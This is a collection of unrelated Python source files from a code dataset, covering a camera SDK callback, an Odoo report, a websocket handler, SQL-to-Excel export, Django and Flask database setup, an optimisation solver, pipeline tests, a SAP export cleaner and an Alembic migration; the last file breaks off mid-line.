+{"seq_id":"440948488","text":"from ctypes import *\nfrom hkws.model.model import *\nimport cv2\nimport ffmpy3\nfilePath = 'D:/project/bblock/db/'\nimport numpy as np\nimport io\n\nl_lst = [1]\nhikFunc = CFUNCTYPE(\n None,\n c_long, # lRealHandle 当前的预览句柄,NET_DVR_RealPlay_V40的返回值\n c_ulong, # dwDataType 数据类型 1-系统头数据, 2-流数据(包括符合流或者音视频分开的流数据),3-音频数据,112-私有数据,包括智能信息\n POINTER(c_byte), # *pBuffer 存放数据的缓冲区指针\n c_ulong, # dwBufSize 缓冲区大小\n c_ulong, # *pUser 用户数据\n)\n\n\n@CFUNCTYPE(None, c_long, c_ulong, POINTER(c_byte), c_ulong, c_ulong)\ndef g_real_data_call_back(lRealPlayHandle: c_long,\n dwDataType: c_ulong,\n pBuffer: POINTER(c_byte),\n dwBufSize: c_ulong,\n dwUser: c_ulong):\n print(' aaaaaaaaaaa callback pBufSize is ', lRealPlayHandle, pBuffer, dwBufSize)\n print(dwDataType)\n\n\n@CFUNCTYPE(None, c_long, c_ulong, POINTER(c_byte), c_ulong, c_ulong)\ndef g_standard_data_call_back(lRealPlayHandle: c_long,\n dwDataType: c_ulong,\n pBuffer: POINTER(c_ubyte),\n dwBufSize: c_ulong,\n dwUser: c_ulong):\n print(' bbbbbbbbbbb callback pBufSize is ', lRealPlayHandle, pBuffer, dwBufSize)\n if dwDataType == 2:\n a = string_at(pBuffer, dwBufSize)\n print(a.decode())\n print(dwDataType)\n l_lst[0] = pBuffer\n\n\n\n\nalarm_stracture = CFUNCTYPE(\n c_bool,\n c_long,\n NET_DVR_ALARMER,\n NET_VCA_FACESNAP_RESULT,\n c_ulong,\n c_void_p,\n)\n\n\n@CFUNCTYPE(c_bool, c_long, POINTER(NET_DVR_ALARMER), POINTER(NET_VCA_FACESNAP_RESULT), c_ulong, c_void_p)\ndef face_alarm_call_back(lCommand: c_long,\n pAlarmer: POINTER(NET_DVR_ALARMER),\n pAlarmInfo: POINTER(NET_VCA_FACESNAP_RESULT),\n dwBufLen: c_ulong,\n pUser: c_void_p):\n print(\"lCommand \", lCommand)\n alarm_info = NET_VCA_FACESNAP_RESULT()\n memmove(pointer(alarm_info), pAlarmInfo, dwBufLen)\n print(\"是否有体温数据\", alarm_info.byAddInfo)\n if alarm_info.byAddInfo:\n face_addinfo_buff = NET_VCA_FACESNAP_ADDINFO()\n print(sizeof(NET_VCA_FACESNAP_ADDINFO))\n memmove(pointer(face_addinfo_buff), alarm_info.pAddInfoBuffer, sizeof(NET_VCA_FACESNAP_ADDINFO))\n print(\"体温为\", face_addinfo_buff.fFaceTemperature)\n len_pic = alarm_info.dwFacePicLen + 1\n print(\"人脸截图长度\", len_pic)\n print(\"图片指针为:\", alarm_info.pBuffer1)\n a = string_at(alarm_info.pBuffer1, alarm_info.dwFacePicLen)\n with open(\"test.jpg\", \"wb\") as p_file:\n p_file.write(a)\n p_file.close()\n print(type(a))\n print(\"检测到人脸\")\n return True\n","sub_path":"hkws/callback.py","file_name":"callback.py","file_ext":"py","file_size_in_byte":2894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"104067111","text":"# -*- coding: utf-8 -*-\nfrom openerp.report import report_sxw\nfrom dateutil.tz import tzlocal,tzutc\nfrom datetime import datetime\n\nclass picking_slip_ext(report_sxw.rml_parse):\n def __init__(self, cr, uid, name, context):\n super(picking_slip_ext, self).__init__(cr, uid, name, context=context)\n self.localcontext.update({\n 'get_formatted_date':self.get_formatted_date,\n 'get_product_desc': self.get_product_desc,\n })\n\n def get_formatted_date(self, date):\n utcdate = datetime.strptime(date, '%Y-%m-%d %H:%M:%S').replace(tzinfo=tzutc())\n localdate = utcdate.astimezone(tzlocal()).strftime('%m/%d/%Y %H:%M:%S')\n return localdate\n\n def get_product_desc(self, move_line):\n desc = move_line.product_id.name\n if move_line.product_id.default_code:\n desc = '[' + move_line.product_id.default_code + ']' + ' ' + desc\n return desc\n\n\nreport_sxw.report_sxw('report.stock.picking.picking_slip1','stock.picking',\n 'stock_report_custom/report/report_picking_slip.rml',parser=picking_slip_ext)\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:","sub_path":"stock_report_custom/report/report_picking_slip.py","file_name":"report_picking_slip.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"330203880","text":"import asyncio\nimport aiohttp\nimport logging\n\nfrom modules import (\n websocket_echo_handler,\n notification_echo_handler\n)\nfrom modules.wss import WSSession\n\n\nasync def notification_ws_get(request):\n app = request.app\n store = request.app.notification_store\n topic = request.match_info.get('code', None)\n\n ws = aiohttp.web.WebSocketResponse()\n await ws.prepare(request)\n\n\n session = WSSession(store=store, key=topic)\n if not await session.is_exists():\n raise aiohttp.web.HTTPUnauthorized()\n\n data = await session.get_data()\n topic = data['user_id']\n await session.destroy()\n\n logging.debug('New websocket connection')\n\n if topic not in app['sockets']:\n app['sockets'][topic] = []\n task = asyncio.create_task(notification_echo_handler(store, app['sockets'][topic], topic))\n app['tasks'][topic] = task\n app['sockets'][topic].append(ws)\n\n try:\n await asyncio.gather(websocket_echo_handler(ws))\n finally:\n logging.debug('Connection closed')\n app['sockets'][topic].remove(ws)\n if len(app['sockets'][topic]) == 0:\n app['sockets'].pop(topic)\n task = app['tasks'].pop(topic)\n task.cancel()\n\n return ws\n\n\n","sub_path":"src/web_sockets/resources/notification_ws.py","file_name":"notification_ws.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"415418987","text":"import pyodbc\nimport pandas as pd\nimport re\nimport os\nfrom openpyxl import load_workbook\n\noutdir = os.path.dirname(os.path.realpath(__file__))\nissql = re.compile('.*\\.sql$') #Matches ending in .sql\n\ncnxn = pyodbc.connect('Driver={SQL Server};' # server type driver \n 'Server=;' #server \n 'DATABASE=;' #database\n 'Trusted_Connection=yes;'\n 'UID=;' #user id\n 'PWD=') #password\n\n\nwith pd.ExcelWriter(str(outdir)+'\\export.xlsx', engine='openpyxl', mode= 'a') as writer:\n writer.book = load_workbook('export.xlsx') ## this will error if does not exist need error handling for this\n for subdir, dir, files in os.walk(outdir): # search dirctory for sql scripts\n for file in files:\n if issql.match(file):\n readfile = open(file, 'r')\n df = pd.read_sql_query(readfile.read(), cnxn) ## get results\n sheet_name = str(file).replace('.sql','') ## parse the .sql for tab name\n if sheet_name in writer.book.sheetnames: ## remove if exist otherwise just write \n idx = writer.book.sheetnames.index(sheet_name)\n writer.book.remove(writer.book.worksheets[idx])\n df.to_excel(writer, sheet_name=sheet_name, index=None, header=True, startrow=3)","sub_path":"Python_Scripts/RunReportfromSQL.py","file_name":"RunReportfromSQL.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"287909577","text":"#!/usr/bin/env python\nfrom argparse import ArgumentParser\nimport subprocess\nimport os\nimport django\nos.environ['DJANGO_SETTINGS_MODULE'] = 'csa.settings'\ndjango.setup()\nfrom csa.models.user import User, UserProfile\nfrom csa.models.core import ProductCategory, ProductMeasureUnit, Product, ProductStock\n\n\ndef test_data():\n unit_kilo = ProductMeasureUnit.objects.create(name='κιλό')\n unit_matso = ProductMeasureUnit.objects.create(name='μάτσο')\n category_laxanika = ProductCategory.objects.create(name='Λαχανικά')\n ProductCategory.objects.bulk_create([\n ProductCategory(name='Φρούτα'),\n ProductCategory(name='Μεταποιημένα')\n ])\n\n ProductCategory.objects.create(\n name='Ντομάτες',\n parent=ProductCategory.objects.get(name='Λαχανικά'))\n\n password = 'p4ssw0rd'\n admin = User.objects.create_superuser(\n username='admin',\n email='csa@example.com',\n password=password,\n first_name='CSA',\n last_name='Διαχειρηστής')\n\n consumer = User.objects.create_user(\n username='consumer',\n email='consumer@example.com',\n password=password,\n first_name='Τάκης',\n last_name='Σουπερμαρκετάκης')\n UserProfile.objects.create(\n user=consumer,\n phone_number='+306976823542')\n\n producer = User.objects.create_user(\n username='producer',\n email='producer@example.com',\n password=password,\n first_name='Βάσω',\n last_name='Παρασύρη')\n UserProfile.objects.create(\n user=producer,\n phone_number='+306976823542')\n\n aggouri = Product.objects.create(\n name='Αγγούρι',\n description='Το αγγούρι είναι καρπός που προέρχεται από το έρπον και '\n 'αναρριχώμενο ετήσιο φυτό της αγγουριάς Cucumis sativus-Σικυός ο '\n 'ήμερος. Ανήκει στην οικογένεια (βιολογία) κολοκυνθοειδών όπως το πεπόνι, '\n 'το καρπούζι, το κολοκύθι. Η αγγουριά καλλιεργείται στην ύπαιθρο τους '\n 'καλοκαιρινούς μήνες και σε θερμοκήπιο τον υπόλοιπο χρόνο, λόγω της '\n 'ευαισθησίας στις χαμηλές θερμοκρασίες. Η υψηλή θερμοκρασία και υγρασία '\n 'ευνοούν την ανάπτυξή της.',\n unit=unit_kilo)\n aggouri.categories.add(category_laxanika)\n\n ProductStock.objects.create(\n product=aggouri,\n producer=producer,\n variety='Κλωσσούδι',\n description='Τα λεγόμενα αγγουράκια της Βάσως',\n quantity=10,\n price=150)\n\n\n\nparser = ArgumentParser(description='CSA database setup tool')\nparser.add_argument('--drop', action='store_true', help='drop tables')\nparser.add_argument('--init', action='store_true', help='creates tables and initialize')\nparser.add_argument('--test-data', action='store_true', help='add test data')\n\nargs = parser.parse_args()\n\nif args.drop:\n subprocess.check_call(\n './manage.py sqlflush | ./manage.py dbshell',\n shell=True)\n\nif args.init:\n for cmd in [\n './manage.py makemigrations --no-input',\n './manage.py makemigrations csa --no-input',\n './manage.py migrate --no-input'\n ]:\n subprocess.check_call(cmd, shell=True)\n\nif args.test_data:\n test_data()\n","sub_path":"bin/db-setup.py","file_name":"db-setup.py","file_ext":"py","file_size_in_byte":3641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"322944837","text":"from application import db\nfrom application.models import Movies\n\ndb.drop_all()\ndb.create_all()\n\nnew_movie = Movies(movie = \"Citizen Kane, Thriller, Orson Welles: \")\ndb.session.add(new_movie)\n\ndb.session.commit()\n","sub_path":"create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"599007499","text":"import numpy as np\nfrom pymanopt.core.problem import Problem\n\nclass SolverRBFGS:\n MaxIterations = 150\n ArmijoPromisedDecreaseScaling = 1e-4\n ArmijoStepSizeContraction = 0.7\n ArmijoInitialStepSize = 1\n ObjectiveFunctionTolerance = 1e-12\n GradientNormTolerance = 1e-8\n SE3Dimension = 6\n\n def __init__(self, problem, normalized = False):\n if not isinstance(problem, Problem):\n raise ValueError('The problem must be an instance of pymanopt.core.problem.TestCases')\n\n self._solutionSpace = problem.manifold\n self._objectiveFunction = problem.cost\n self._gradient = problem.grad\n\n self.normalized = normalized\n\n def ContinueOptimization(self, currentPoint, currentGradient, iterations):\n return (self._solutionSpace.norm(currentPoint, currentGradient) > self.GradientNormTolerance\n and self._objectiveFunction(currentPoint) > self.ObjectiveFunctionTolerance) \\\n and iterations < self.MaxIterations #before was or then and\n\n def ArmijoLineSearch(self, currentPoint, currentGradient, searchDirection):\n fCurrentPoint = self._objectiveFunction(currentPoint)\n promisedDecrease = self._solutionSpace.inner(currentPoint, currentGradient, searchDirection)\n currentStepSize = self.ArmijoInitialStepSize\n\n def armijoCondition(stepSize):\n return self._objectiveFunction(self._solutionSpace.exp(currentPoint, [stepSize * SearchDirection for SearchDirection in searchDirection])) > fCurrentPoint \\\n + stepSize * self.ArmijoPromisedDecreaseScaling * promisedDecrease\n\n while armijoCondition(currentStepSize) and currentStepSize > 1e-10:\n currentStepSize = self.ArmijoStepSizeContraction * currentStepSize\n\n return currentStepSize\n\n def SearchSolution(self, initialGuess, initialApproximateInverseHessian):\n iterations = 0\n\n currentPoint = initialGuess\n currentGradient = self._gradient(currentPoint)\n\n updateDirection = - currentGradient\n\n approximateInverseHessian = initialApproximateInverseHessian\n\n print(\"f_\" + str(iterations) + \" = \" + str(self._objectiveFunction(currentPoint)))\n print(\"|gradf_\" + str(iterations) + \"| = \" + str(self._solutionSpace.norm(currentPoint, currentGradient)))\n\n while self.ContinueOptimization(currentPoint, currentGradient, iterations):\n iterations = iterations + 1\n\n stepSize = self.ArmijoLineSearch(currentPoint, currentGradient, updateDirection)\n newPoint = self._solutionSpace.exp(currentPoint,\n [stepSize * UpdateDirection for UpdateDirection in updateDirection])\n\n previousGradient = currentGradient\n newGradient = self._gradient(newPoint)\n\n approximateInverseHessian = self.UpdateApproximateInverseHessian(\n approximateInverseHessian,\n newGradient,\n previousGradient,\n [stepSize * UpdateDirection for UpdateDirection in updateDirection])\n\n updateDirection = self.ConvertToTangentVector(\n currentPoint,\n -approximateInverseHessian @ self.ConvertToVectorInRn(newGradient))\n\n currentPoint = newPoint\n\n currentGradient = newGradient\n\n # print(\"f_\" + str(iterations) + \" = \" + str(self._objectiveFunction(currentPoint)))\n # print(\"|gradf_\" + str(iterations) + \"| = \" + str(self._solutionSpace.norm(currentPoint, currentGradient)))\n\n print(\"f_\" + str(iterations) + \" = \" + str(self._objectiveFunction(currentPoint)))\n print(\"|gradf_\" + str(iterations) + \"| = \" + str(self._solutionSpace.norm(currentPoint, currentGradient)))\n\n return tuple(currentPoint), approximateInverseHessian, iterations\n\n def UpdateApproximateInverseHessian(self,\n oldInverseHessian,\n currentGradient,\n previousGradient,\n previousSearchDirection):\n\n yk = self.ConvertToVectorInRn(currentGradient) - self.ConvertToVectorInRn(previousGradient)\n sk = self.ConvertToVectorInRn(previousSearchDirection)\n\n if self.normalized:\n metricMatrix = np.eye(int(self._solutionSpace.dim))\n else:\n metricMatrix = np.diag(np.concatenate((np.array([2., 2., 2., 1., 1., 1.]),\n np.ones(int(self._solutionSpace.dim) - self.SE3Dimension))))\n\n def inner(u, v):\n return np.inner(u, metricMatrix @ v)\n\n skTGyk = inner(sk, yk)\n\n if not skTGyk > 0:\n return oldInverseHessian\n\n intermediateScalar = inner(sk, yk) + inner(yk , oldInverseHessian @ yk)\n\n if skTGyk < 1e-11:# and np.linalg.norm(oldInverseHessian - np.eye(int(self._solutionSpace.dim))) >= 1e-14 :\n return np.eye(int(self._solutionSpace.dim))\n skTG = sk.T @ metricMatrix\n\n return oldInverseHessian \\\n + np.outer(sk, skTG) * intermediateScalar / (skTGyk * skTGyk)\\\n - (np.outer(oldInverseHessian @ yk, skTG)\n + np.outer(sk, yk.T @ metricMatrix) @ oldInverseHessian) / skTGyk\n\n def ConvertToVectorInRn(self, tangentVector):\n if self.normalized:\n return np.concatenate((self.InvSkew(tangentVector[0]) * np.sqrt(2.) , tangentVector[1], tangentVector[2]))\n else:\n return np.concatenate((self.InvSkew(tangentVector[0]), tangentVector[1], tangentVector[2]))\n\n\n def ConvertToTangentVector(self, currentPoint, vector):\n if self.normalized:\n return self._solutionSpace.proj(currentPoint, (self.Skew(vector[:3]) / np.sqrt(2.), vector[3:6], vector[6:]))\n else:\n return [self.Skew(vector[:3]), vector[3:6], vector[6:]]\n\n def Skew(self, w):\n return np.array([[0., -w[2], w[1]], [w[2], 0., -w[0]], [-w[1], w[0], 0.]])\n\n def InvSkew(self, S):\n return np.array([S[2, 1], S[0, 2], S[1, 0]])\n","sub_path":"src/Solver/SolverRBFGSPositioning.py","file_name":"SolverRBFGSPositioning.py","file_ext":"py","file_size_in_byte":6111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"293176345","text":"class match:\n def __init__(self, s_ip, d_ip):\n self.s_ip = s_ip\n self.d_ip = d_ip\n\nclass flow:\n def __init__(self, match, primary = [], secondary = [], path = [], start = None, stop = None, active = True):\n self.flow_match = match\n self.primary_path = primary\n self.secondary_path = secondary\n self.used_path = path\n self.start = start\n self.active = active\n\nclass switch:\n def __init__(self, dpid, ports = []):\n if not dpid:\n raise AssertionError(\"OpenFlowSwitch should have dpid\")\n self.dpid = dpid\n self.ports = ports # list of active ports (that have connected links)\n\nclass port:\n def __init__(self, number, n_dpid, n_port_no):\n self.number = number\n self.neighbour_dpid = n_dpid\n self.neighbour_port_no = n_port_no\n\nclass link:\n def __init__(self, sw1, port1, sw2, port2, capacity = 10485760, link_cost = 0, cur_counter = 0, prev_counter = 0, last_load = 0, first_poll = True):\n self.sw1 = sw1\n self.port1 = port1\n self.sw2 = sw2\n self.port2 = port2\n self.capacity = capacity # in Bytes, default is 10MByte per sec or 10.485.760 bytes 1Byte=8bits\n self.link_cost = link_cost # not currently used -> maybe set to ((load/10)/capacity)*100)\n self.cur_counter = cur_counter # byte counter for the current polling instance\n self.prev_counter = prev_counter # byte counter for the previous polling instance\n self.last_load=last_load # byte count measured during the last polling period\n self.first_poll = first_poll # has this link been polled before\n # self.cashed_flrmv_count=\n\ndef toSubnet(ip):\n # only for /24 subnet. Transform an IP address to its /24 subnet.\n l = ip.split('.')\n l = \".\".join(l[0:3])+'.0'\n return l\n","sub_path":"Port_FlowRemoved/MyTopoClasses.py","file_name":"MyTopoClasses.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"361486898","text":"#!/usr/bin/env python3 -B\nimport unittest\n\nfrom tests import TestKnoedlerPipelineOutput, classification_sets, classification_tree, classified_identifier_sets\nfrom cromulent import vocab\n\nvocab.add_attribute_assignment_check()\n\nclass PIRModelingTest_AR91(TestKnoedlerPipelineOutput):\n def test_modeling_ar91(self):\n '''\n AR-91: Model buyer/seller agents\n '''\n output = self.run_pipeline('ar91')\n activities = output['model-activity']\n# import json\n# print(json.dumps(activities, indent=4))\n \n # seller 'for': Clark, Jonas G.\n # selelr 'through': Goupil et Cie.\n # buyer: M. Knoedler & Co.\n tx1 = activities['tag:getty.edu,2019:digital:pipeline:REPLACE-WITH-UUID:knoedler#TX,In,1,192,6']\n self.verifyTransaction(tx1, sellers={'Clark, Jonas G.'}, seller_agents={'Goupil et Cie.'}, buyer_agents=set(), buyers={'M. Knoedler & Co.'})\n \n tx2 = activities['tag:getty.edu,2019:digital:pipeline:REPLACE-WITH-UUID:knoedler#TX,In,6,223,30']\n self.verifyTransaction(tx2, sellers={'Gill, James Dwyer'}, seller_agents={'KILTON, W.S.'}, buyer_agents=set(), buyers={'M. Knoedler & Co.'})\n \n tx3 = activities['tag:getty.edu,2019:digital:pipeline:REPLACE-WITH-UUID:knoedler#TX,In,11,195,3']\n self.verifyTransaction(tx3, sellers={'HOWARD, JEAN'}, seller_agents={'DABISH, GRACE'}, buyer_agents=set(), buyers={'M. Knoedler & Co.'})\n\n tx4 = activities['tag:getty.edu,2019:digital:pipeline:REPLACE-WITH-UUID:knoedler#TX,In,3,203,11']\n self.verifyTransaction(tx4, sellers={'Tufts, Edwin'}, seller_agents={'MATTHEWS, N.'}, buyer_agents=set(), buyers={'M. Knoedler & Co.'})\n\n tx5 = activities['tag:getty.edu,2019:digital:pipeline:REPLACE-WITH-UUID:knoedler#TX,Out,11,195,3']\n self.verifyTransaction(tx5, sellers={'M. Knoedler & Co.'}, seller_agents=set(), buyer_agents={'DABISH, GRACE'}, buyers={'HOWARD, JEAN'})\n self.verifyReturnAcquisition(tx5)\n\n def verifyReturnAcquisition(self, tx):\n # There was a bug that was causing \"Returned\" transactions to go through the ETL modeling process twice, resulting in multiple Acquisition identifiers\n # This sanity-checks that the return transaction looks right.\n acqs = [p for p in tx['part'] if p.get('type') == 'Acquisition']\n self.assertEqual(len(acqs), 1)\n acq = acqs[0]\n self.assertEqual(\n \tclassified_identifier_sets(acq),\n \t{\n \t\tNone: {'Knoedler return of Stock Number A8960 (1966-02-01)'}\n \t}\n )\n pass\n\n def verifyTransaction(self, tx, sellers, seller_agents, buyer_agents, buyers):\n payments = [p for p in tx['part'] if p.get('type') == 'Payment']\n if payments:\n payment = payments[0]\n payee = {p.get('_label') for p in payment['paid_to']}\n payer = {p.get('_label') for p in payment['paid_from']}\n self.assertEqual(payee, sellers)\n self.assertEqual(payer, buyers)\n\n acqs = [p for p in tx['part'] if p.get('type') == 'Acquisition']\n self.assertEqual(len(acqs), 1)\n acq = acqs[0]\n reciever = {p.get('_label') for p in acq['transferred_title_from']}\n sender = {p.get('_label') for p in acq['transferred_title_to']}\n self.assertEqual(sender, buyers)\n self.assertEqual(reciever, sellers)\n\n agent_parts = [p for p in acq.get('part', [])]\n agents = {p.get('_label') for part in agent_parts for p in part['carried_out_by']}\n self.assertEqual(agents, seller_agents|buyer_agents)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_knoedler_issue_ar91.py","file_name":"test_knoedler_issue_ar91.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"47163471","text":"# python 3\nimport os\nimport csv\n\n\ndef stripStr(fieldContent):\n \"\"\" remove blank spaces (right and left) \"\"\"\n return fieldContent.strip()\n\n\ndef rmComma(fieldContent):\n \"\"\" replace . by , \"\"\"\n return fieldContent.replace(\".\", \",\")\n\n\ndef rmPoint(fieldContent):\n \"\"\" replace . by - \"\"\"\n return fieldContent.replace(\".\", \"-\")\n\n\ndef numAsStr(fieldContent):\n \"\"\" to maintain the number when opening on a spreadsheet \"\"\"\n if len(fieldContent) > 0:\n return \"_\" + fieldContent\n \n return fieldContent\n\n\ndef fieldSet(fieldContent):\n \"\"\" clean numbers; ex: 1,223.3- to -1223,3 \"\"\"\n theResult = fieldContent.find(\"-\")\n fieldContent = stripStr(fieldContent)\n \n if theResult >= 0:\n fieldContent = fieldContent.replace(\"-\", \"\")\n fieldContent = \"-\" + fieldContent\n\n fieldContent = fieldContent.replace(\",\", \"\")\n return fieldContent\n\n\ndef cleanContent(outputFile, spamReader):\n \"\"\" clean and output rows \"\"\"\n try:\n for row in spamReader:\n if (len(row) > 20): # 10+ column\n theYearMonth = stripStr(row[1]) # ano/mes\n theTI = stripStr(row[3]) # ti\n\n if (theTI != \"Ti\" and theYearMonth != \"*\" and theYearMonth != \"**\"):\n theRef = stripStr(row[2]) # referencia\n theDocNum = stripStr(row[4]) # n doc\n theCI = stripStr(row[5]) # ci\n theCompany = stripStr(row[6]) # empr\n theAccount = stripStr(row[7]) # conta\n theDiv = stripStr(row[8]) # div\n theDocDate = stripStr(row[9]) # data doc\n theLauDate = stripStr(row[10]) # data lan\n theAmount = stripStr(row[11]) # montante em mi\n theCL = stripStr(row[12]) # cl\n theCC = stripStr(row[13]) # cc\n theCoin = stripStr(row[14]) # moeda\n theAtrib = stripStr(row[15]) # atribuicao\n theDoc = stripStr(row[16]) # doc compra\n theUser = stripStr(row[17]) # usuario\n theSocPar = stripStr(row[18]) # soc par\n theText = stripStr(row[19]) # texto\n theDocComp = stripStr(row[20]) # doc comp\n theComp = stripStr(row[21]) # comp\n\n theAmount = fieldSet(theAmount)\n \n theOutRow = \"\"\"\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\";\\\"{}\\\"\\n\"\"\".format(theYearMonth,\n theRef, theTI, theDocNum, theCI, theCompany, theAccount, theDiv, rmPoint(theDocDate), rmPoint(theLauDate),\n rmComma(theAmount), theCL, numAsStr(theCC), theCoin, theAtrib, theDoc, theUser, theSocPar, theText, theDocComp, theComp)\n\n outputFile.write(theOutRow)\n except:\n print(\"max lim\")\n\n\ndef readFile(outputFileName, inputFileName):\n outputFile = open(outputFileName, \"w\")\n outputFile.write(\"\\\"Ano/Mes\\\";\\\"Referencia\\\";\\\"Ti\\\";\\\"N doc\\\";\\\"CI\\\";\\\"Empr\\\";\\\"Conta\\\";\\\"Div\\\";\\\"Data doc\\\";\\\"Data lanc\\\";\\\"Montante\\\";\\\"CL\\\";\\\"CC\\\";\\\"Moeda\\\";\\\"Atribuicao\\\";\\\"Doc compra\\\";\\\"Usuario\\\";\\\"SocPar\\\";\\\"Texto\\\";\\\"Doc comp\\\";\\\"Comp\\\"\\n\")\n\n print(\"open: \" + inputFileName)\n inputFile = open(inputFileName)\n spamReader = csv.reader(inputFile, delimiter = \"|\", quoting = csv.QUOTE_NONE)\n cleanContent(outputFile, spamReader)\n inputFile.close()\n\n outputFile.close()\n\n\n# SAP FBL3N - not converted file\ninputFileName = \"sap.txt\"\noutputFileName = \"fbl3n_conv.csv\"\nreadFile(outputFileName, inputFileName)\n","sub_path":"Other/sap_fbl3n_drica.py","file_name":"sap_fbl3n_drica.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"326341143","text":"\"\"\"\nAuthor: Bruno Luca\nDate: 11-09-2020\nTitle: dictionary\n\"\"\"\n\ndef load_dictionary(file_name):\n d = dict()\n fin = open(file_name)\n for i,line in enumerate(fin):\n d[line.strip()] = i\n\n fin.close()\n\n return d\n\ndef main():\n words = load_dictionary(\"words.txt\")\n\n if \"dog\" in words:\n print(f\"[dog]\\t->\\t{words['dog']}\")\n\nif __name__ == \"__main__\":\n main()","sub_path":"tpsit_IV/summer_works/es11_1.py","file_name":"es11_1.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"364244016","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport math\nimport scipy.stats\nimport csv\n\nname_string = '6_010_35-65_65-85_late'\nc1 = '_40'\nc2 = '_60'\n\nres = int(name_string[2:5])\nres = float(res/1000)\n\nprint(res)\n\nx_low = int(name_string[6:8])\nif(name_string[10] == '*'):\n x_high = 100\nelse:\n x_high = int(name_string[9:11])\ny_low = int(name_string[12:14])\nif(name_string[16] == '*'):\n y_high = 100\nelse:\n y_high = int(name_string[15:17])\n\nx_low = float(x_low/100)\nx_high = float(x_high/100)\nx_high += res\ny_low = float(y_low/100)\ny_high = float(y_high/100)\ny_high += res\n\nprint(x_low)\nprint(x_high)\nprint(y_low)\nprint(y_high)\n\nx_size = round((x_high - x_low)/res)\ny_size = round((y_high - y_low)/res)\n\nprint(x_size)\nprint(y_size)\n\n\n\nwith open('avg/' + name_string + c1 + '.csv', newline='') as myFile:\n reader = csv.reader(myFile)\n reader = list(reader)\n for i in range(y_size):\n for j in range(x_size):\n reader[i][j] = float(reader[i][j])\n\nwith open('avg/' + name_string + c2 + '.csv', newline='') as myFile:\n readeric = csv.reader(myFile)\n readeric = list(readeric)\n for i in range(y_size):\n for j in range(x_size):\n readeric[i][j] = abs(float(readeric[i][j]) - reader[i][j])\n\nx = np.arange(x_low, x_high, res)\ny = np.arange(y_low, y_high, res)\nx, y = np.meshgrid(x, y)\n\n\nplt.pcolormesh(x, y, readeric)\nplt.xlabel(\"Bias\")\nplt.ylabel(\"Homophily\")\nplt.ylim([y_low,y_high-res])\nplt.colorbar() #need a colorbar to show the intensity scale\nplt.show() #boom\n","sub_path":"Oscillation_Classifier/ic_comp.py","file_name":"ic_comp.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"543680582","text":"\"\"\"six\n\nRevision ID: c01d8c37e1be\nRevises: 3024925381ed\nCreate Date: 2019-07-10 11:30:06.630940\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c01d8c37e1be'\ndown_revision = '3024925381ed'\nbranch_labels = None\ndepends_on = None\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint('fk_temp_products_id_product_products', 'temp_products', type_='foreignkey')\n op.create_foreign_key(op.f('fk_temp_products_id_products'), 'temp_products', 'products', ['id'], ['id'])\n op.drop_column('temp_products', 'id_product')\n # ### end Alembic commands ###\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('temp_products', sa.Column('id_product', sa.INTEGER(), autoincrement=False, nullable=True))\n op.drop_constraint(op.f('fk_temp_products_id_products'), 'temp_products', type_='foreignkey')\n op.create_foreign_key('fk_temp_products_id_product_products', 'temp_products', 'products', ['id_product'], ['id'])\n # ### end Alembic commands ###\n","sub_path":"pyramid_cafe/alembic/versions/20190710_c01d8c37e1be.py","file_name":"20190710_c01d8c37e1be.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"443806387","text":"# Test cases for Prospectors mapping functions in August 2020\n# created by Daan Hommersom and Antonino Sabetta at SAP\n#\n# For every function in prospector/map.py two test cases are created:\n# - The first one tests cases that should succeed\n# - The second one tests the cases for which an exception should be raised\n\nimport pytest\nimport os \nimport sys\nimport json\nimport random\nimport spacy\nnlp = spacy.load('en_core_web_sm')\n\ncurrent_working_directory = os.getcwd()\n\nos.chdir('../../prospector')\nsys.path.insert(1, '../prospector')\n\nimport rank\n\nos.chdir(current_working_directory)\n\n##################################\n###\n### FIXTURES\n###\n##################################\n\n@pytest.fixture()\ndef example_commit_content():\n example_commit_content = {\n 'message': [\"Add #795 to changelog as it's now merged\"],\n 'diff': ['diff --git a/CHANGELOG.md b/CHANGELOG.md', 'index 507498f..66834c6 100644', '--- a/CHANGELOG.md', 